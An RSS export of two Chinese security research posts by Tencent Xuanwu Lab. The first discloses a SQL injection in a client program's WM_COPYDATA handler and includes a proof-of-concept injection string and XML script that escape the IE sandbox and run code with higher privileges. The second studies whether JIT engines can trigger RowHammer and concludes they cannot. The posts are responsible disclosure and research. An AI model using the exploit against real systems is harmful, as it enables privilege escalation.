R3dF09 – 腾讯玄武实验室 http://xlab.tencent.com/cn Thu, 09 Nov 2017 03:17:42 +0000 zh-CN hourly 1 https://wordpress.org/?v=4.6 用SQL注入穿IE沙箱 http://xlab.tencent.com/cn/2017/01/19/ie-sandbox-escape-with-sql-injection/ Thu, 19 Jan 2017 09:24:23 +0000 http://xlab.tencent.com/cn/?p=260 继续阅读“用SQL注入穿IE沙箱”]]> 0x00 前言

每一个安全初学者都喜欢问这样一个问题,“我应该做web安全还是做二进制安全,哪个更有意思?哪个更有钱途?”

二进制安全就只等于反汇编,逆向,调试,内核 ……?

Web安全就只等于XSS,SQL注入,CSRF,webshell ……?

当两者结合起来的时候会发生什么美妙的事情呢?

一个典型的Web系统运行于Linux平台,使用Apache作为服务器,用PHP完成功能逻辑,重要数据存储在MySQL数据中,接收用户输入并返回信息。对于客户端软件来说其实也存在类似的架构,软件运行在Windows系统上,用C/C++完成功能逻辑,可能用SQLite存储重要数据,支持进程间通信。

那么在二进制漏洞挖掘中是否可用使用Web漏洞挖掘的思路呢?

笔者在研究某客户端软件时发现了一个非常有意思的逻辑安全漏洞。本文笔者将展示如何使用客户端软件中存在的SQL注入漏洞,实现本地权限提升,使用漏洞可以绕过IE沙箱等的限制,在高权限进程的上下文中执行任意代码。

0x01基础知识

1.1 用户界面特权隔离(UIPI)

用户界面特权隔离,即 User Interface Privilege Isolation,是Windows Vista后引入的一种新的安全机制。限制低完整性级别的进程向高完整性级别的进程窗口发送消息,从而减少攻击面,防止低完整性级别的恶意程序,通过进程间通信,在高完整性级别的上下文里执行任意代码,从而提升权限。

1.2 ChangeWindowMessageFilter[Ex]

由于UIPI的限制,低完整性级别的进程向高完整性级别的进程发送消息时会返回拒绝访问,但是Windows提供了ChangeWindowMessageFilter和ChangeWindowMessageFilterEx函数,可以用来关闭UIPI的限制,完美绕过Windows提供的防护机制。

1.3 SQL注入

SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。

而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。

0x02 客户端软件SQL注入漏洞

本节将介绍笔者在研究某客户端软件时发现的一个安全漏洞,为读者展示如何使用Web安全的思路,获得一个本地权限提升漏洞。

2.1 进程间通信

开机后该软件会启动DCProcess.exe程序,为了进程间通信,该程序会调用ChangeWindowMessageFilter函数,关闭UIPI机制。

逆向代码如下所示:

v7 = GetProcAddress(v5, "ChangeWindowMessageFilter");
(v7)(WM_COPYDATA, MSGFLT_ADD);

此举会导致低完整性级别的程序可以向DCProcess.exe程序发送WM_COPYDATA消息。

该软件通过WM_COPYDATA消息来控制DCProcess.exe程序运行特定脚本,脚本程序放置在程序目录Scripts下,如图2.1所示

图2.1

2.2 SQL注入漏洞

脚本的信息存储在DC_Container.s3db数据库中,其中tbl_script表如图2.2所示


图2.2

DCProcess.exe通过SQL查询语句来获取脚本运行的相关信息,但是在此处并没有对用户输入进行过滤,导致存在SQL注入问题。

sub_1001BD60("select * from tbl_script where ID = '%s'", v2);//其中 v2为WM_COPYDATA传递的数据

通过SQL注入漏洞,可以控制执行脚本的路径,从而执行我们构造的脚本。

POC如下所示:

HWND hWnd=FindWindow(0,L"DCCoreProcess");
WCHAR str[]=L"' and 1=0 union select 1,'test','../../../../../test/test.xml',0,3,1,'test',0,0,0 where '1'='1";
COPYDATASTRUCT MyCDS;
MyCDS.dwData=0xFBE;
MyCDS.cbData=sizeof(str);
MyCDS.lpData=str;
SendMessage(hWnd,WM_COPYDATA,(WPARAM)hCurrentWnd,(LPARAM)&MyCDS);

上述代码会使DCProcess.exe程序执行c:\test\test.xml脚本,通过定制该脚本,可以实现任意代码执行。由于ChangeWindowMessageFilter函数的存在使得IE沙箱之类低完整性级别的程序,可以绕过Windows权限控制体系,在DCProcess.exe的上下文中执行任意代码。下述脚本演示了如何实现运行notepad.exe程序。

<?xml version="1.0" encoding="UTF-8"?>

<root>
  <scripttype value="7"/>
  <visible value="1"/>
  <scriptlevel value="0"/>
  <scriptname value="test"/>
  <scriptdes value="test"/>
  <process>
    <step id="10453f34-86fa-7aee-e4fc-bbfcbd21a27c" name="ExecuteFile" desc="test" dll="ShellApi" dllURL="/download/dll/ShellApi.dll" dllPath="" com_dll="" com_dllURL="" com_dllPath="" continueOnFail="0" osType="2">
      <para name="Path" isInput="true" position="1" datatype="4" value="c:\windows\system32\notepad.exe"/>
      <para name="Arguments" isInput="true" position="2" datatype="4" value=""/>
      <para name="ExecuteAccount" isInput="true" position="3" datatype="4" value="0"/>
      <para name="WaitComplete" isInput="true" position="4" datatype="3" value="0"/>
    </step>
  </process>
</root>

0x03 总结

该漏洞其实并不复杂,危害程序也有限,但是在客户端软件的开发中使用关系型数据库,输入可控,又不对输入数据进行校验,导致通过SQL注入来实现权限提升,却是一个非常有趣的问题。

据此我们也可以发现,二进制安全和Web安全,并没有严格的界限,拥有更广的知识面,更灵活的思路,才有可能发现更多,更有趣的安全漏洞。

Disclosure Timeline:

2016/12/26 向相关厂商提供漏洞细节
2016/12/26 回复确认
2016/12/29 确认漏洞,并停产此款软件
2017/01/05 询问是否出安全补丁
2017/01/05 回复已下线软件,不再上线使用
2017/01/19 公开漏洞

]]>
JIT引擎触发RowHammer可行性研究 http://xlab.tencent.com/cn/2015/06/09/research-report-on-using-jit-to-trigger-rowhammer/ Tue, 09 Jun 2015 08:21:53 +0000 http://xlab.tencent.com/cn/?p=54 继续阅读“JIT引擎触发RowHammer可行性研究”]]> RowHammer漏洞是DDR3内存中存在的问题,通过频繁的访问内存中的一行数据,会导致临近行的数据发生反转。然而由于其运行需要在目标主机上大量运行特定的代码,实施攻击存在很大的难度。本文旨在研究能否通过Javascript等脚本语言的动态执行触发RowHammer,如果能够成功将极大增加RowHammer的攻击性。为了验证该思路,本文分析了Java Hotspot、Chrome V8、.NET CoreCLR以及Firefox SpiderMonkey的实现机制并给出了可行性分析。

0x00 前言

  2015年3月Google Project Zero发表文章Exploiting the DRAM rowhammer bug to gain kernel privileges。由于文中提到的缺陷比较难以修复,需要更新BIOS来提高内存刷新的速度,引起了人们的担忧。然而由于RowHammer的运行需要在目标主机上运行特定的汇编代码,实施攻击存在很大的难度。
  本文旨在研究能否通过Javascript等脚本语言的动态执行触发RowHammer,如果能够成功将极大增加RowHammer的攻击性。为了验证该思路,本文分析了Java Hotspot、Chrome V8、.NET CoreCLR以及Firefox SpiderMonkey的实现机制并给出了可行性分析。
  遗憾的是我们在这几个程序中,没有找到最优的利用方式。要么不存在相关的指令,要么指令无法达到RowHammer要求,要么需要有额外的操作更改执行环境才能触发,缺乏实际的攻击意义。

0x01 RowHammer

  本节将简要回顾RowHammer存在的原理,其触发的机制,已经在利用时将面临到的一些挑战。

1.1 What’s RowHammer?

  RowHammer是DDR3内存中存在的问题,通过频繁的访问内存中的一行(row)数据,会导致临近行(row)的数据发生位反转。如图1.1(a)所示,内存是由一系列内存单元构成的二维数组。如图1.1(b)所示每一个内存单元由一个晶体管和一个电容组成,晶体管与wordline相连,电容负责存储数据。DRAM的每一行(row)有自己的wordline,wordline需要置高电压,特定行(row)的数据才能够访问。当某一行的wordline置高电压时,该行的数据就会进入row-buffer。当wordline频繁的充放电时,就可能会导致附近row的存储单元中的电容放电,如果在其被刷新之前,损失过多的电压就会导致内存中的数据发生变化。

  图1.2所示是一块内存,其中一个row为64kb(8KB)大小, 32k个row组成一个Bank, 8个Bank组成一个Rank, 该Rank为2G。此处需要注意不同的Bank有专用的row-buffer,访问不同Bank中的row不会导致wordline的充放电。
内存中的电压是不能长期保存的,需要不停的对其进行刷新,刷新的速度为64ms,所以必须在64ms内完成RowHammer操作。

图1.1


图1.2

1.2 RowHammer触发的方法

  表1.1所示为Google Project Zero所给出的可以触发RowHammer的代码段。

  其中x, y地址的选择非常重要,x, y必须要在同一个Bank,不同的row中。因为不同的Bank有专用的row-buffer。如果x, y 在同一个row中就不会对wordline进行频繁的充放电,也就不会触发RowHammer。

  上述代码只是一种有效的测试方法,但并不是惟一的,归根到底我们所需要的就是在64ms内让一个wordline频繁的充放电。

1.3 触发RowHammer指令

  为了频繁的使wordline充放电,必须考虑CPU的Cache, 如果当前地址在Cache里面就不会访问内存,也就不会导致wordline的充放电情况。
表1.2

指令 作用
CLFLUSH 将数据从Cache中擦除
PREFETCH 从内存中读取数据并存放在Cache中
MOVNT* 不经过Cache直接操作数据

  表1.2中的指令都可以用来频繁的访问一个内存地址,并使相应的wordline充放电,如果要触发RowHammer, 需要上述指令的配合才能完成。
(注: 这些指令并不是惟一的触发方法,比如通过分析物理地址和L3 Cache的映射关系算法(不同的CPU架构实现可能不同),找到映射到同一个Cache set的一系列地址,通过重复访问这一系列的地址即可触发RowHammer。)

0x02 脚本层面触发RowHammer

  Google Project Zero给出的POC是直接以汇编的方式来运行,可以用来验证内存是否存在安全问题。当前脚本语言大都存在JIT引擎,如果能够通过脚本控制JIT引擎直接
触发RowHammer,将会具有更大的攻击意义。为了分析其可行性,本节研究了Java Hotspot、Chrome V8等执行引擎的运行机制。

2.1 Java Hotspot

  Hotspot是Oracle JDK官方的默认虚拟机,主要用来解释执行Java字节码,其源码位于Openjdk下hotspot目录,可以独立编译。Java字节码是堆栈式指令集,指令数量少,共有256条指令,完成了数据传送、类型转换、程序控制、对象操作、运算和函数调用等功能。Java字节码存储在class文件中,作为Hotspot虚拟机的输入,其在一定程序上是用户可控的。那么能否通过构造class文件,使得Hotspot在执行时完成RowHammer呢?

  Java Hotspot默认对字节码进行解释执行,当某方法被频繁调用,并且达到一定的阈值,即会调用内置的JIT编译器对其进行编译,在下次执行时直接调用编译生成的代码。
  Java字节码解释器有两个实现,分别为模版解释器和C++解释器,Hotspot默认使用模版解释器。Java的JIT编译器有三个实现,分别为客户端编译器(C1编译器)、服务器端编译器(C2 编译器)以及Shark编译器(基于LLVM)的编译器。
图2.1所示为Java在不同平台下使用的虚拟机。


图2.1

2.1.1 模版解释器触发RowHammer?

a) 模版解释器工作原理

  模版解释器是一种比较靠近底层的解释器实现,每一个字节码对应一个模版,所有的模版组合在一起构成一个模板表。每一个模版实质上都是一段汇编代码,在虚拟机创建阶段进行初始化。在执行class文件的时候,遍历字节码,每检测到一个字节码就调用相应的汇编代码块进行执行,从而完成对于字节码的解释执行。
  为了完成对于字节码的解释执行,Hotspot在初始化时还会生成多种汇编代码块,用来辅助字节码的解释,比如函数入口代码块,异常处理代码块等。查看Hotspot中生成的代码块和模版可以采用命令 java –XX:+PrintInterpreter 指令来完成。
  针对各个字节码的模版中汇编代码比较庞大,比如字节码invokevirtual对应的代码块共有352 bytes,字节码putstatic有512 bytes。

b) 解释器能否触发RowHammer?

  字节码在解释执行的时候会产生汇编代码,那么是否可以通过class文件让解释器生成RowHammer需要的指令呢?
通过分析,字节码对应的模版和辅助代码块的指令中没有prefetch, clflush以及movnt*系列指令,所以直接通过构造字节码,然后使用模版解释器来触发RowHammer是不可行的。

2.1.2 JIT编译器触发RowHammer?

a) C1编译器工作原理

  JIT编译器也是一种编译器,只不过其是在程序动态运行过程中在需要的时候对代码进行编译。其编译流程与一般编译器基本相同。
  C1编译器是客户端使用的JIT编译器实现,其主要追求编译的速度,对于代码的优化等要相对保守。
  Hotspot编译器默认是异步编译,有线程CompilerThread负责对特定的方法进行调用,当方法调用次数达到一定阈值时将会调用JIT编译器对方法进行编译,该阈值默认为10000次,可以通过 –XX:+CompileThreshold 参数来设置阈值。

图2.2

  1编译器共包含如下几个步骤

typedef enum {
    _t_compile,
    _t_setup,
    _t_optimizeIR,
    _t_buildIR,
    _t_emit_lir,
    _t_linearScan,
    _t_lirGeneration,
    _t_lir_schedule,
    _t_codeemit,
    _t_codeinstall,
    max_phase_timers
} TimerName;

C1编译器执行流程大致如图2.2所示:
1) 生成HIR (build_hir)
  C1编译器首先分析JVM字节码流,并将其转换成控制流图的形式,控制流图的基本块使用SSA的形式来表示。HIR是一个层级比较高的中间语言表示形式,离机器相关的代码还有一定的距离。
2) 生成LIR (emit_lir)
  遍历控制流图的各个基本块,以及基本块中个各个语句,生成相应的LIR形式,LIR是一个比较接近机器语言的表现形式,但是还不是机器可以理解的代码。
3) 寄存器分配
  LIR中使用的是虚拟寄存器,在该阶段必须为其分配真实可用的寄存器。C1为了保证编译的速度采用了基于线性扫描的寄存器分配算法
4) 生成目标代码
  真正生成平台相关的机器代码的过程,在该阶段遍历LIR中的所有指令,并生成指令相关的汇编代码。主要是使用了LIR_Assembler类。

    LIR_Assembler lir_asm(this);
    lir_asm.emit_code(hir()->code());

  通过遍历LIR_List依次调用,依次调用各个指令相关的emit_code(如表2-3),LIR中的指令都是继承自LIR_Op

op->emit_code(this);

  以LIR_Op1为例,其emit_code方法为

void LIR_Op1::emit_code(LIR_Assembler* masm) {    //emit_code
    masm->emit_op1(this);
}

  以LIR_Op1为例,其emit_code方法为

case lir_prefetchr:
  prefetchr(op->in_opr());
  break;

  最终会调用 prefetchr函数,该函数为平台相关的,不同的平台下实现不同,以x86平台为例,其实现位于assembler_x86.cpp

void Assembler::prefetchr(Address src) {
    assert(VM_Version::supports_3dnow_prefetch(), "must support");
    InstructionMark im(this);
    prefetch_prefix(src);
    emit_byte(0x0D);
    emit_operand(rax, src); // 0, src
}

  最终将会生成相应的机器码。

b) 能否触发RowHammer

  C1编译器是否能够触发RowHammer? 经过分析发现,在x86平台下封装了prefetch相关的指令,确实是有希望控制产生prefetch指令。
  从底层向上分析,如果要生成prefetch指令,在LIR层需要出现LIR_op1操作,且操作码需要为lir_prefetchr或者lir_prefetchw,进一步向上层分析,要在LIR层出现这样的指令,在从字节码到HIR的过程中必须能够调用到GraphBuilder::append_unsafe_prefetch函数。该方法在GraphBuilder::try_inline_instrinsics函数中调用,进一步分析只需调用sun.misc.unsafe的prefetch操作即可触发。通过深入分析,Hotspot确实是支持prefetch操作,然而在Java的运行库rt.jar中,sun.misc.unsafe并没有声明prefetch操作,导致无法直接调用,需要更改rt.jar才能触发成功。这样就失去了攻击的意义。

  在Hotspot中还存在clflush这种指令,在hotspot的初始化阶段,其会生成一个代码块。如下所示:

    __ bind(flush_line);                         
    __ clflush(Address(addr, 0));          //addr: address to flush 
    __ addptr(addr, ICache::line_size);                                         
    __ decrementl(lines);                   //lines: range to flush
    __ jcc(Assembler::notZero, flush_line);

该部分代码在C1编译器编译完成之后有调用

    // done
    masm()->flush();             //invoke ICache flush  

对当前代码存储的区域进行cache flush

void AbstractAssembler::flush() {
    sync();
    ICache::invalidate_range(addr_at(0), offset());
}

  这种方法可以对内存做cache flush, 主要问题在于代码存储的区域在堆中是随机分配的,无法直接指定cache flush的区域,而且由于涉及到编译的操作,无法在短时间内大量产生clflush指令。

c) 其它编译器实现

  C2编译器与C1编译器有一定的相似性又有很大的不同,由于主要在服务器端使用所以C2编译器更加注重编译后代码的执行效率,所有在编译过程中相对C1编译器做了大量的优化操作,但是在生成汇编代码的时候两者使用的是同一个抽象汇编,所以C2编译器与C1编译器应该大体相同,能够生成prefetch指令,但是在默认的情形下无法直接使用。
  Shark编译器是基于LLVM实现的,一般都不会开启,没有对该编译器进行进一步的分析。

2.2 Chrome V8

  V8是Google开源的Javascript引擎,采用C++编写,可独立运行。V8会直接将JavaScript代码编译成本地机器码,没有中间代码,没有解释器。其执行机制是将Javascript代码转换成抽象语法树,然后直接walk抽象语法树,生成相应的机器码。
  在V8生成机器码的过程中无法生成prefetch, clflush, movnt*系列指令。但是在V8执行的过程中可能会引入prefetch指令。
  产生prefetch的函数为

MemMoveFunction CreateMemMoveFunction() {

    __ prefetch(Operand(src, 0), 1);
    __ cmp(count, kSmallCopySize);    //kSmallCopySize=8
    __ j(below_equal, &small_size);  
    __ cmp(count, kMediumCopySize);   //kMediumCopySize=63
    __ j(below_equal, &medium_size);
    __ cmp(dst, src);
    __ j(above, &backward);

  该函数的主要作用是当缓冲区无法满足指令的存储时,需要将缓冲区扩大一倍,在该过程中会调用一次prefetch指令,但是调用的此处远远不足RowHammer触发的条件。

2.3 .NET CoreCLIR

  CoreCLR是.NET的执行引擎,RyuJIT是.NET的JIT实现,目前已经开源。作为Java的竞争对手,.NET大量参考了Java的实现机制,从字节码的设计,到编译器的实现等,都与Java有几分相似。在RyuJIT的指令集定义中只定义了一些常见的指令(图2.3),但是没有RowHammer需要的指令,所以无法直接触发。但是在CoreCLR的gc中存在prefetch操作(表2.12),然而该指令默认是被置为无效的(表2.13)。


图2.3

void gc_heap::relocate_survivor_helper (BYTE* plug, BYTE* plug_end)
{
        BYTE*  x = plug;
        while (x < plug_end)
        {
                size_t s = size (x);
                BYTE* next_obj = x + Align (s);
                Prefetch (next_obj);
                relocate_obj_helper (x, s);
                assert (s > 0);
                x = next_obj;
        }
}

图2.4

//#define PREFETCH
#ifdef PREFETCH
__declspec(naked) void __fastcall Prefetch(void* addr)
{
     __asm {
             PREFETCHT0 [ECX]
                ret
        };
}
#else //PREFETCH
inline void Prefetch (void* addr)
{
        UNREFERENCED_PARAMETER(addr);
}
#endif //PREFETCH

图2.5

2.4 Firfox SpiderMonkey

  SpiderMonkey是Firfox默认使用的带有JIT的Javascript引擎,在SpiderMonkey中没有RowHammer所需要的指令出现。

0x03 总结

  本文研究的主要目的是希望通过JIT引擎来触发RowHammer的执行,为了提高脚本语言的执行效率,当前绝大多数脚本引擎都带有JIT编译器以提高运行的效率。本文研究了Hotspot、V8、RyuJIT和SpiderMonkey,其中并没有找到比较好的触发RowHammer的方法,当然依旧有一些JIT还没被研究,不过通过以上研究证明JIT触发的方式非常困难,原因主要有以下几点:

1) RowHammer的触发条件比较苛刻,64ms内触发成功也就意味着无关指令的数目必须很少,否者在64ms内wordline无法充放电足够的次数。

2) Cache相关的指令并不常用,RowHammer运行需要使用CLFLUSH, PREFETCH, MOVNT*系列指令,这些指令在实际的使用过程中并不常见,在用户态进行Cache相关操作的情形比较少见。

3) 站在JIT开发人员的角度考虑,为了实现跨平台,一般会对指令进行抽象,然后在各个平台上具体实现。抽象的指令一般都尽可能少,因为每抽象一个指令就需要再添加大量的代码。在分析的JIT引擎中只有hotspot抽象了prefetch指令,引擎都尽可能少的去抽象编译器要用到的指令,想通过脚本直接生成需要的汇编指令很困难。(特例是如果采用了第三方引擎(比如AsmJit),引擎会抽象所有的汇编指令,则有更大的可能性触发,然而当前主流语言的JIT部分大都是独立开发,而第三方引擎则多是从这些代码中提取并逐步完善的)。

4) 在整个分析过程中发现指令出现的原因主要是辅助JIT编译,比如使用prefetch提高某些数据存取的速度,使用CLFLUSH刷新指令缓冲区等。指令出现的次数与频率,远远达不到RowHammer的要求。

参考资料

  1. Google Project Zero
    http://googleprojectzero.blogspot.com/2015/03/exploiting-dram-rowhammer-bug-to-gain.html
  2. Paper: Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors http://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
  3. 高级语言虚拟机群组 http://hllvm.group.iteye.com/
  4. 各语言开放的源代码
]]>